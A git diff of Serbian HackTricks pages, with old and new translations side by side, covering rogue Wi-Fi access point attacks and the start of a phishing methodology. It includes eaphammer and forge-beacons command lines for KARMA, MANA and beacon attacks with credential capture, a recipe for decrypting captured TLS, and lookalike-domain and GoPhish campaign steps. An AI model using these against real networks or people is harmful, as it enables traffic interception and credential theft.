Ovo će naterati `hostapd-wpe` da **razmenjuje ključeve koristeći RSA** umesto DH, tako da ćete moći da **dešifrujete** saobraćaj kasnije **znajući privatni ključ servera**. Ovo će omogućiti `hostapd-wpe` da **razmenjuje ključeve koristeći RSA** umesto DH, tako da ćete moći da **dekriptujete** saobraćaj kasnije **znajući privatni ključ servera**.
Sada pokrenite **Evil Twin** koristeći **`hostapd-wpe`** sa tom modifikovanom konfiguracijom kao i obično. Takođe, pokrenite **`wireshark`** na **interfejsu** koji vrši napad Evil Twin. Sada pokrenite **Evil Twin** koristeći **`hostapd-wpe`** sa tom izmenjenom konfiguracijom kao obično. Takođe, pokrenite **`wireshark`** na **interfejsu** koji vrši Evil Twin napad.
Sada ili kasnije (kada već uhvatite neke autentikacione namere) možete dodati privatni RSA ključ u wireshark-u na: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` Sada ili kasnije (kada ste već uhvatili neke pokušaje autentifikacije) možete dodati privatni RSA ključ u wireshark u: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Dodajte novi unos i popunite formu sa ovim vrednostima: **IP adresa = bilo koja** -- **Port = 0** -- **Protokol = podaci** -- **Datoteka ključa** (**izaberite svoju datoteku ključa**, da biste izbegli probleme izaberite datoteku ključa **koja nije zaštićena lozinkom**). Dodajte novi unos i popunite formu sa ovim vrednostima: **IP adresa = bilo koja** -- **Port = 0** -- **Protokol = podaci** -- **Ključna datoteka** (**izaberite svoju datoteku ključa**, da biste izbegli probleme, izaberite datoteku ključa **bez zaštite lozinkom**).
![](<../../.gitbook/assets/image (687).png>) ![](<../../.gitbook/assets/image (687).png>)
I pogledajte novi **"Dešifrovani TLS" tab**: I pogledajte novi **"Decrypted TLS" tab**:
![](<../../.gitbook/assets/image (231).png>) ![](<../../.gitbook/assets/image (231).png>)
## KARMA, MANA, Loud MANA i Known beacons napad ## KARMA, MANA, Loud MANA i napad poznatih beacon-a
### ESSID i MAC crne/belih lista ### ESSID i MAC crne/belih lista
Različite vrste Media Access Control Filter Listi (MFACLs) i njihovi odgovarajući režimi i efekti na ponašanje lažne Access Point (AP): Različite vrste lista filtera za pristup medijima (MFACLs) i njihovi odgovarajući režimi i efekti na ponašanje lažnog pristupnog tačke (AP):
1. **MAC bazirana bela lista**: 1. **MAC-bazirana bela lista**:
* Lažni AP će odgovoriti samo na upite uređaja navedenih u beloj listi, ostajući nevidljiv za sve ostale koji nisu navedeni. * Lažni AP će odgovarati samo na probe zahteve od uređaja navedenih u beloj listi, ostajući nevidljiv za sve druge koji nisu navedeni.
2. **MAC bazirana crna lista**: 2. **MAC-bazirana crna lista**:
* Lažni AP će ignorisati upite uređaja na crnoj listi, efikasno čineći lažni AP nevidljivim za te specifične uređaje. * Lažni AP će ignorisati probe zahteve od uređaja na crnoj listi, efektivno čineći lažni AP nevidljivim za te specifične uređaje.
3. **ESSID bazirana bela lista**: 3. **SSID-bazirana bela lista**:
* Lažni AP će odgovoriti na upite samo za specifične ESSID-ove navedene na listi, čineći ga nevidljivim za uređaje čiji Preferred Network List (PNL) ne sadrži te ESSID-ove. * Lažni AP će odgovarati na probe zahteve samo za specifične ESSID-e navedene, čineći ga nevidljivim za uređaje čiji spiskovi preferiranih mreža (PNL) ne sadrže te ESSID-e.
4. **ESSID bazirana crna lista**: 4. **SSID-bazirana crna lista**:
* Lažni AP neće odgovoriti na upite za specifične ESSID-ove na crnoj listi, čineći ga nevidljivim za uređaje koji traže te određene mreže. * Lažni AP neće odgovarati na probe zahteve za specifične ESSID-e na crnoj listi, čineći ga nevidljivim za uređaje koji traže te određene mreže.
```bash ```bash
# example EAPHammer MFACL file, wildcards can be used # example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af 09:6a:06:c8:36:af
@ -660,33 +663,33 @@ name3
``` ```
### KARMA ### KARMA
Ova metoda omogućava **napadaču da napravi zlonamernu tačku pristupa (AP) koja odgovara na sve zahteve za sondiranje** uređaja koji pokušavaju da se povežu sa mrežama. Ova tehnika **vara uređaje da se povežu sa AP napadača** imitirajući mreže koje uređaji traže. Kada uređaj pošalje zahtev za povezivanje sa ovom lažnom AP, on završava povezivanje, dovodeći uređaj da greškom poveže sa mrežom napadača. Ova metoda omogućava **napadaču da kreira zloćudnu pristupnu tačku (AP) koja odgovara na sve probe zahteve** od uređaja koji traže povezivanje na mreže. Ova tehnika **vara uređaje da se povežu na napadačev AP** imitujući mreže koje uređaji traže. Kada uređaj pošalje zahtev za povezivanje ovoj lažnoj AP, uspostavlja se veza, što dovodi do toga da se uređaj pogrešno poveže na napadačevu mrežu.
### MANA ### MANA
Zatim, **uređaji su počeli da ignorišu neželjene mrežne odgovore**, smanjujući efikasnost originalnog karma napada. Međutim, novi metod, poznat kao **MANA napad**, predstavili su Ian de Vilijers i Dominic Vajt. Ova metoda uključuje zlonamernu AP **hvatanje Liste Preferiranih Mreža (PNL) sa uređaja odgovarajući na njihove emitovane zahteve za sondiranje** sa imenima mreža (SSID) prethodno traženih od strane uređaja. Ovaj sofisticirani napad zaobilazi zaštitu protiv originalnog karma napada iskorišćavanjem načina na koji uređaji pamte i prioritizuju poznate mreže. Zatim, **uređaji su počeli da ignorišu neprošene mrežne odgovore**, smanjujući efikasnost originalnog karma napada. Međutim, nova metoda, poznata kao **MANA napad**, uvedena je od strane Iana de Villiersa i Dominica Whitea. Ova metoda uključuje lažnu AP **koja hvata Liste preferiranih mreža (PNL) sa uređaja odgovarajući na njihove emitovane probe zahteve** sa imenima mreža (SSID) koje su prethodno tražili uređaji. Ovaj sofisticirani napad zaobilazi zaštitu protiv originalnog karma napada iskorišćavajući način na koji uređaji pamte i prioritetizuju poznate mreže.
MANA napad funkcioniše tako što prati kako usmerene tako i emitovane zahteve za sondiranje uređaja. Za usmerene zahteve, beleži MAC adresu uređaja i traženo ime mreže, dodajući ove informacije na listu. Kada se primi emitovani zahtev, AP odgovara informacijama koje se podudaraju sa bilo kojom od mreža na listi uređaja, privlačeći uređaj da se poveže sa zlonamernom AP. MANA napad funkcioniše tako što prati kako usmerene tako i emitovane probe zahteve od uređaja. Za usmerene zahteve, beleži MAC adresu uređaja i traženo ime mreže, dodajući ove informacije na listu. Kada se primi emitovani zahtev, AP odgovara informacijama koje odgovaraju bilo kojoj od mreža na listi uređaja, mameći uređaj da se poveže na lažnu AP.
```bash ```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
### Bučan MANA ### Loud MANA
**Bučan MANA napad** je napredna strategija kada uređaji ne koriste usmereno istraživanje ili kada je Lista preferiranih mreža (PNL) nepoznata napadaču. Ovaj napad funkcioniše na principu da **uređaji u istom području verovatno dele neka imena mreža u svojim PNL-ovima**. Umesto selektivnog odgovaranja, ovaj napad emituje odgovore na upite za svako ime mreže (ESSID) pronađeno u kombinovanim PNL-ovima svih posmatranih uređaja. Ovaj širok pristup povećava šansu da uređaj prepozna poznatu mrežu i pokuša da se poveže sa lažnom tačkom pristupa (AP). **Loud MANA napad** je napredna strategija za situacije kada uređaji ne koriste usmereno ispitivanje ili kada su njihovi spiskovi preferiranih mreža (PNL) nepoznati napadaču. Operiše na principu da **uređaji u istoj oblasti verovatno dele neka imena mreža u svojim PNL-ima**. Umesto da odgovara selektivno, ovaj napad emituje odgovore na ispitivanje za svako ime mreže (ESSID) pronađeno u kombinovanim PNL-ima svih posmatranih uređaja. Ovaj široki pristup povećava šanse da uređaj prepozna poznatu mrežu i pokuša da se poveže na lažni pristupni punkt (AP).
```bash ```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
``` ```
### Poznati Beacon napad ### Known Beacon attack
Kada **Loud MANA napad** možda nije dovoljan, **Poznati Beacon napad** predstavlja drugi pristup. Ovaj metod **bruteforsira proces povezivanja simulirajući AP koji odgovara na bilo koje mrežno ime, prolazeći kroz listu potencijalnih ESSID-ova** izvedenih iz liste reči. Ovo simulira prisustvo brojnih mreža, u nadi da će se poklopiti ESSID unutar PNL žrtve, podstičući pokušaj povezivanja sa fabrikovanim AP-om. Napad se može pojačati kombinovanjem sa opcijom `--loud` za agresivniji pokušaj uhvatiti uređaje. Kada **Loud MANA attack** možda nije dovoljan, **Known Beacon attack** predstavlja drugi pristup. Ova metoda **brute-forces proces povezivanja simulirajući AP koji odgovara na bilo koje ime mreže, prolazeći kroz listu potencijalnih ESSID-a** dobijenih iz rečnika. Ovo simulira prisustvo brojnih mreža, nadajući se da će se poklopiti sa ESSID-om unutar PNL-a žrtve, podstičući pokušaj povezivanja sa lažnim AP-om. Napad se može pojačati kombinovanjem sa `--loud` opcijom za agresivniji pokušaj hvatanja uređaja.
Eaphammer je implementirao ovaj napad kao MANA napad gde su svi ESSID-ovi unutar liste optuženi (možete takođe kombinovati ovo sa `--loud` da biste kreirali Loud MANA + Poznati beacon napad): Eaphammer je implementirao ovaj napad kao MANA napad gde su svi ESSID-i unutar liste učitani (takođe možete kombinovati ovo sa `--loud` da biste stvorili Loud MANA + Known beacons attack):
```bash ```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
**Napad poznat kao Beacon Burst** **Poznati Beacon Burst napad**
**Napad poznat kao Beacon Burst** uključuje **brzo emitovanje okvira oznaka za svaki ESSID naveden u datoteci**. Ovo stvara gustu okolinu lažnih mreža, značajno povećavajući verovatnoću da se uređaji povežu sa zlonamernom AP, posebno kada se kombinuje sa MANA napadom. Ova tehnika koristi brzinu i obim da preplavi mehanizme izbora mreže uređaja. **Poznati Beacon Burst napad** uključuje **brzo emitovanje beacon okvira za svaki ESSID naveden u datoteci**. Ovo stvara gustu sredinu lažnih mreža, što značajno povećava verovatnoću da se uređaji povežu na rogue AP, posebno kada se kombinuje sa MANA napadom. Ova tehnika koristi brzinu i obim da bi preplavila mehanizme odabira mreže uređaja.
```bash ```bash
# transmit a burst of 5 forged beacon packets for each entry in list # transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \ ./forge-beacons -i wlan1 \
@ -697,21 +700,21 @@ Eaphammer je implementirao ovaj napad kao MANA napad gde su svi ESSID-ovi unutar
``` ```
## Wi-Fi Direct ## Wi-Fi Direct
**Wi-Fi Direct** je protokol koji omogućava uređajima da se direktno povežu jedan s drugim koristeći Wi-Fi, bez potrebe za tradicionalnom bežičnom pristupnom tačkom. Ova sposobnost je integrisana u različite uređaje Internet stvari (IoT), kao što su štampači i televizori, olakšavajući direktnu komunikaciju uređaja do uređaja. Značajna karakteristika Wi-Fi Direct-a je da jedan uređaj preuzima ulogu pristupne tačke, poznate kao vlasnik grupe, kako bi upravljao vezom. **Wi-Fi Direct** je protokol koji omogućava uređajima da se direktno povežu jedni s drugima koristeći Wi-Fi bez potrebe za tradicionalnom bežičnom pristupnom tačkom. Ova mogućnost je integrisana u razne uređaje Interneta stvari (IoT), kao što su štampači i televizori, olakšavajući direktnu komunikaciju između uređaja. Značajna karakteristika Wi-Fi Direct-a je da jedan uređaj preuzima ulogu pristupne tačke, poznate kao vlasnik grupe, kako bi upravljao vezom.
Bezbednost za Wi-Fi Direct veze se uspostavlja kroz **Wi-Fi Protected Setup (WPS)**, koji podržava nekoliko metoda za sigurno uparivanje, uključujući: Bezbednost za Wi-Fi Direct veze se uspostavlja putem **Wi-Fi Protected Setup (WPS)**, koji podržava nekoliko metoda za sigurno uparivanje, uključujući:
* **Konfiguracija putem dugmeta (PBC)** * **Push-Button Configuration (PBC)**
* **Unos PIN-a** * **PIN unos**
* **Near-Field Communication (NFC)** * **Near-Field Communication (NFC)**
Ove metode, posebno unos PIN-a, su podložne istim ranjivostima kao WPS u tradicionalnim Wi-Fi mrežama, čineći ih ciljevima sličnih vektora napada. Ove metode, posebno unos PIN-a, su podložne istim ranjivostima kao WPS u tradicionalnim Wi-Fi mrežama, čineći ih metama za slične napade.
### EvilDirect Hijacking ### EvilDirect Hijacking
**EvilDirect Hijacking** je napad specifičan za Wi-Fi Direct. On oponaša koncept napada Evil Twin, ali cilja Wi-Fi Direct veze. U ovom scenariju, napadač se predstavlja kao legitimni vlasnik grupe s ciljem da prevari uređaje da se povežu s zlonamernim entitetom. Ovaj metod se može izvršiti korišćenjem alata poput `airbase-ng` navođenjem kanala, ESSID-a i MAC adrese oponašanog uređaja: **EvilDirect Hijacking** je napad specifičan za Wi-Fi Direct. Oponaša koncept napada Evil Twin, ali cilja Wi-Fi Direct veze. U ovom scenariju, napadač se pretvara da je legitimni vlasnik grupe s ciljem da prevari uređaje da se povežu na zloćudni entitet. Ova metoda se može izvršiti koristeći alate kao što je `airbase-ng` tako što se specificira kanal, ESSID i MAC adresa oponašanog uređaja:
## Reference ## References
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) * [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) * [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
@ -724,33 +727,34 @@ Ove metode, posebno unos PIN-a, su podložne istim ranjivostima kao WPS u tradic
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) * [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Pogledajte [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (prijava putem Facebook-a i imitacija WPA na portalima za zarobljavanje) TODO: Pogledajte [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (prijavite se putem facebook-a i imitacija WPA na captive portalima)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali s iskusnim hakerima i lovcima na bagove! Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\ **Hacking Insights**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja Engage with content that delves into the thrill and challenges of hacking
**Vesti u realnom vremenu o hakovanju**\ **Real-Time Hack News**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu Keep up-to-date with fast-paced hacking world through real-time news and insights
**Poslednje najave**\ **Latest Announcements**\
Budite informisani o najnovijim programima nagrađivanja za pronalaženje bagova i važnim ažuriranjima platforme Stay informed with the newest bug bounties launching and crucial platform updates
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete s vrhunskim hakerima danas! **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,83 +1,84 @@
# Metodologija za ribarenje # Phishing Methodology
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Metodologija ## Metodologija
1. Izviđaj žrtvu 1. Istraži žrtvu
1. Izaberite **domen žrtve**. 1. Izaberi **domen žrtve**.
2. Izvršite osnovnu web enumeraciju **tražeći portale za prijavljivanje** koje koristi žrtva i **odlučite** koji ćete **fingirati**. 2. Izvrši osnovnu web enumeraciju **tražeći login portale** koje koristi žrtva i **odluči** koji ćeš **imitirati**.
3. Koristite neke **OSINT** tehnike da **pronađete email adrese**. 3. Koristi neki **OSINT** da **pronađeš emailove**.
2. Pripremite okruženje 2. Pripremi okruženje
1. **Kupite domen** koji ćete koristiti za procenu ribarenja 1. **Kupi domen** koji ćeš koristiti za phishing procenu.
2. **Konfigurišite email servis** povezane zapise (SPF, DMARC, DKIM, rDNS) 2. **Konfiguriši email servis** povezane zapise (SPF, DMARC, DKIM, rDNS).
3. Konfigurišite VPS sa **gophish** 3. Konfiguriši VPS sa **gophish**.
3. Pripremite kampanju 3. Pripremi kampanju
1. Pripremite **šablon emaila** 1. Pripremi **šablon emaila**.
2. Pripremite **web stranicu** za krađu pristupnih podataka 2. Pripremi **web stranicu** za krađu kredencijala.
4. Pokrenite kampanju! 4. Pokreni kampanju!
## Generišite slična imena domena ili kupite pouzdan domen ## Generiši slične nazive domena ili kupi pouzdan domen
### Tehnike varijacije imena domena ### Tehnike varijacije naziva domena
* **Ključna reč**: Domen sadrži važnu ključnu reč originalnog domena (npr. zelster.com-management.com). * **Ključna reč**: Naziv domena **sadrži** važnu **ključnu reč** originalnog domena (npr., zelster.com-management.com).
* **Podebljani poddomen**: Promenite **tačku za crticu** u poddomenu (npr. www-zelster.com). * **poddomen sa crticom**: Promeni **tačku u crtu** poddomena (npr., www-zelster.com).
* **Novi TLD**: Isto ime domena koristeći **novi TLD** (npr. zelster.org) * **Nova TLD**: Isti domen koristeći **novu TLD** (npr., zelster.org).
* **Homograft**: Zamenjuje slovo u imenu domena sa slovima koja sliče (npr. zelfser.com). * **Homoglif**: **Zamenjuje** jedno slovo u nazivu domena sa **sličnim slovima** (npr., zelfser.com).
* **Transpozicija**: Menja mesta dva slova unutar imena domena (npr. zelsetr.com). * **Transpozicija:** **Menja dva slova** unutar naziva domena (npr., zelsetr.com).
* **Jednina/Množina**: Dodaje ili uklanja "s" na kraju imena domena (npr. zeltsers.com). * **Singularizacija/Pluralizacija**: Dodaje ili uklanja “s” na kraju naziva domena (npr., zeltsers.com).
* **Izostavljanje**: Uklanja jedno slovo iz imena domena (npr. zelser.com). * **Odstupanje**: **Uklanja jedno** od slova iz naziva domena (npr., zelser.com).
* **Ponavljanje**: Ponavlja jedno slovo u imenu domena (npr. zeltsser.com). * **Ponavljanje:** **Ponavlja jedno** od slova u nazivu domena (npr., zeltsser.com).
* **Zamena**: Slično homograftu ali manje prikriveno. Zamenjuje jedno slovo u imenu domena, možda slovom u blizini originalnog slova na tastaturi (npr. zektser.com). * **Zamena**: Kao homoglif, ali manje suptilan. Zamenjuje jedno od slova u nazivu domena, možda sa slovom u blizini originalnog slova na tastaturi (npr., zektser.com).
* **Poddomenovanje**: Uvodi **tačku** unutar imena domena (npr. ze.lster.com). * **Poddomen**: Uvedi **tačku** unutar naziva domena (npr., ze.lster.com).
* **Umetanje**: Umeće slovo u ime domena (npr. zerltser.com). * **Umetanje**: **Umeće slovo** u naziv domena (npr., zerltser.com).
* **Nedostajuća tačka**: Dodajte TLD domenu. (npr. zelstercom.com) * **Nedostajuća tačka**: Dodaj TLD nazivu domena. (npr., zelstercom.com)
**Automatski alati** **Automatski alati**
* [**dnstwist**](https://github.com/elceef/dnstwist) * [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
**Veb stranice** **Web sajtovi**
* [https://dnstwist.it/](https://dnstwist.it) * [https://dnstwist.it/](https://dnstwist.it)
* [https://dnstwister.report/](https://dnstwister.report) * [https://dnstwister.report/](https://dnstwister.report)
* [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/) * [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/)
### Bitflipovanje ### Bitflipping
Postoji **mogućnost da se jedan od nekih bitova koji su sačuvani ili u komunikaciji automatski preokrenu** zbog različitih faktora poput sunčevih baklji, kosmičkih zraka ili hardverskih grešaka. Postoji **mogućnost da jedan od nekih bitova koji su pohranjeni ili u komunikaciji može automatski da se preokrene** zbog raznih faktora kao što su solarne erupcije, kosmički zraci ili greške u hardveru.
Kada se ovaj koncept **primeni na DNS zahteve**, moguće je da **domen koji DNS server primi** nije isti kao domen koji je prvobitno zatražen. Kada se ovaj koncept **primeni na DNS zahteve**, moguće je da **domen koji je primljen od DNS servera** nije isti kao domen koji je prvobitno zatražen.
Na primer, jedna promena bita u domenu "windows.com" može ga promeniti u "windnws.com." Na primer, jedna promena bita u domenu "windows.com" može ga promeniti u "windnws.com."
Napadači mogu **iskoristiti ovo registracijom više domena sa preokrenutim bitovima** koji su slični domenu žrtve. Njihova namera je da preusmere legitimne korisnike na svoju infrastrukturu. Napadači mogu **iskoristiti ovo registrujući više domena sa preokrenutim bitovima** koji su slični domenu žrtve. Njihova namera je da preusmere legitimne korisnike na svoju infrastrukturu.
Za više informacija pročitajte [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) Za više informacija pročitaj [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Kupite pouzdan domen ### Kupi pouzdan domen
Možete pretražiti na [https://www.expireddomains.net/](https://www.expireddomains.net) za istekli domen koji biste mogli koristiti.\ Možeš pretraživati na [https://www.expireddomains.net/](https://www.expireddomains.net) za istekao domen koji bi mogao da koristiš.\
Kako biste bili sigurni da istekli domen koji ćete kupiti **već ima dobar SEO** možete proveriti kako je kategorizovan: Da bi se osiguralo da je istekao domen koji planiraš da kupiš **već imao dobar SEO**, možeš proveriti kako je kategorizovan u:
* [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) * [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
* [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) * [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## Otkrivanje email adresa ## Otkriće emailova
* [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% besplatno) * [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% besplatno)
* [https://phonebook.cz/](https://phonebook.cz) (100% besplatno) * [https://phonebook.cz/](https://phonebook.cz) (100% besplatno)
@ -85,17 +86,17 @@ Kako biste bili sigurni da istekli domen koji ćete kupiti **već ima dobar SEO*
* [https://hunter.io/](https://hunter.io) * [https://hunter.io/](https://hunter.io)
* [https://anymailfinder.com/](https://anymailfinder.com) * [https://anymailfinder.com/](https://anymailfinder.com)
Kako biste **otkrili više** validnih email adresa ili **verifikovali one** koje ste već otkrili, možete proveriti da li možete da ih brute-forceujete na smtp serverima žrtve. [Saznajte kako da verifikujete/otkrijete email adresu ovde](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\ Da bi **otkrio više** validnih email adresa ili **verifikovao one** koje si već otkrio, možeš proveriti da li možeš da brute-force-uješ smtp servere žrtve. [Saznaj kako da verifikuješ/otkriješ email adresu ovde](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
Takođe, ne zaboravite da ako korisnici koriste **bilo koji web portal za pristup njihovim mejlovima**, možete proveriti da li je ranjiv na **brute force korisničkog imena**, i iskoristiti ranjivost ako je moguće. Pored toga, ne zaboravi da ako korisnici koriste **bilo koji web portal za pristup svojim mailovima**, možeš proveriti da li je ranjiv na **brute force korisničkog imena**, i iskoristiti ranjivost ako je moguće.
## Konfigurisanje GoPhish-a ## Konfigurisanje GoPhish
### Instalacija ### Instalacija
Možete preuzeti sa [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) Možeš ga preuzeti sa [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Preuzmite i dekompresujte ga unutar `/opt/gophish` i izvršite `/opt/gophish/gophish`\ Preuzmi i raspakuj ga unutar `/opt/gophish` i izvrši `/opt/gophish/gophish`\
